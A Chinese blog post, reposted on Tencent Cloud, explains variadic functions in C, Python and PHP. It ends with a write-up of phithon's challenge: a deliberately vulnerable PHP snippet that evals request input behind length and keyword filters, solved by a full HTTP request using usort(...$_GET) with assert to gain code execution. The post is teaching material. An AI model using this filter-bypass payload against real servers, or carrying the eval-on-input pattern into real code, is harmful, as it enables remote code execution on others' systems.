前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >由phithon的一个题目谈可变参数函数

由phithon的一个题目谈可变参数函数

作者头像
用户1879329
发布2023-02-27 15:13:07
1.2K0
发布2023-02-27 15:13:07
举报
文章被收录于专栏:安全的矛与盾

可变参数

可变参数函数是指参数个数可变的函数,在函数声明和定义的时候并没有明确的指出函数需要的参数个数,具体有多少个参数,是在调用的时候确定的. 可变参数函数并不是什么新奇的东西,早在我们学c语言的时候,就见过,例如我们常用的printf()和scanf()函数. printf() 的函数原型是

代码语言:javascript
复制
int printf(const char* format,...);    //至少要有一个参数

我们写下面的代码看一下:

代码语言:javascript
复制
#include "stdio.h"
int main(){
  int  param1=1,param2=2;
printf("一个参数:%d\n",param1);
printf("一个参数:%d,第二个参数:%d\n",param1,param2);
return 0;
}

我们都会用这样的函数,但是却没用自己动手写过可便参数的函数. 

自己动手写可变参数的函数

在c语言中要实现一个可变参函数,需要用到一下的宏

代码语言:javascript
复制
void va_start( va_list arg_ptr, prev_param );
type va_arg( va_list arg_ptr, type );
void va_end( va_list arg_ptr );

这些宏定义在stdarg.h头文件中,所以在写可变参数函数的时候需要包含此头文件. gcc编译器使用内置宏间接实现变参宏,如#define va_start(v,l) __builtin_va_start(v,l)。因为gcc编译器需要考虑跨平台处理,而其实现因平台而异。 C调用约定下可使用va_list系列变参宏实现变参函数,此处va意为variable-argument(可变参数)。典型用法如下:

代码语言:javascript
复制
#include <stdarg.h>
int VarArgFunc(int dwFixedArg, ...){ //以固定参数的地址为起点依次确定各变参的内存起始地址
    va_list pArgs = NULL;  //定义va_list类型的指针pArgs,用于存储参数地址
    va_start(pArgs, dwFixedArg); //初始化pArgs指针,使其指向第一个可变参数。该宏第二个参数是变参列表的前一个参数,即最后一个固定参数
    int dwVarArg = va_arg(pArgs, int); //该宏返回变参列表中的当前变参值并使pArgs指向列表中的下个变参。该宏第二个参数是要返回的当前变参类型
    //若函数有多个可变参数,则依次调用va_arg宏获取各个变参
    va_end(pArgs);  //将指针pArgs置为无效,结束变参的获取
    /* Code Block using variable arguments */
}
//可在头文件中声明函数为extern int VarArgFunc(int dwFixedArg, ...);,调用时用VarArgFunc(FixedArg, VarArg);

如下函数实现n个整数相加(n>=1),但是定义函数之前并不知道到底是几个数相加,代码如下

代码语言:javascript
复制
int sum(int n, ...)  //第一个参数表明有可变参数有多少个相加  
{
    va_list ap;
    va_start(ap, n);
    int sum = 0;
    while(n--)
        sum += va_arg(ap, int);
    va_end(ap);
    return sum;
}

python 中的可变参数函数

python中定义函数,可以使用args和*kwargs将不定量的参数传递给一个函数,args发送一个非键值对的可变数量的参数列表给一个函数,*kwargs允许你将不定长度的键值对(key,value), 作为参数传递给一个函数。 例子如下:

代码语言:javascript
复制
#!/usr/bin/python 
#-*-coding:utf-8-*-  
def function1(arg1,arg2,arg3):
    # print "function1"
    print "arg1:",arg1
    print "arg2:",arg2
    print "arg3:",arg3
def function2(*args):
    for arg in args:
        print "arg from args:",arg 
def function3(**kwargs):
    for key,value in kwargs.items():
        print "{key}=={value}".format(key=key,value=value)


function1("one","two","three")
args=("one","two","three")
function2(*args)
kwargs={"1":"one","2":"two"}
function3(**kwargs)

最后的输出:

代码语言:javascript
复制
arg1: one
arg2: two
arg3: three
arg from args: one
arg from args: two
arg from args: three
1==one
2==two

php中的可变参函数

php5.6引入了一个新特性,PHP中可以使用 func(...arr)这样的方式,将arr数组展开成多个参数,传入func函数。Manual

代码语言:javascript
复制

<?php
function f($req, $opt = null, ...$params) {
    // $params 是一个包含了剩余参数的数组
    printf('$req: %d; $opt: %d; number of params: %d'."\n",
           $req, $opt, count($params));
}
f(1);
f(1, 2);
f(1, 2, 3);
f(1, 2, 3, 4);
f(1, 2, 3, 4, 5);
?>

最后的输出:

代码语言:javascript
复制
$req: 1; $opt: 0; number of params: 0
$req: 1; $opt: 2; number of params: 0
$req: 1; $opt: 2; number of params: 1
$req: 1; $opt: 2; number of params: 2
$req: 1; $opt: 2; number of params: 3

最后来看phithon的题目:

代码语言:javascript
复制
<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
  eval($param);
}
?>
要求必须getshell

phithon 给出的标准答案是:

代码语言:javascript
复制
POST /index.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET);

$_GET变量 被展开为两个参数 [‘test’,’phpinfo();’]和assert,传入usort函数.usort函数第二个参数是回调函数assert,执行了第一个参数中的phpinfo(). 这样就可以达到getshell的效果.

reference

https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

http://www.cnblogs.com/clover-toeic/p/3736748.html

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-01-202,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 可变参数
  • 自己动手写可变参数的函数
  • python 中的可变参数函数
  • php中的可变参函数
  • 最后来看phithon的题目:
  • reference
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档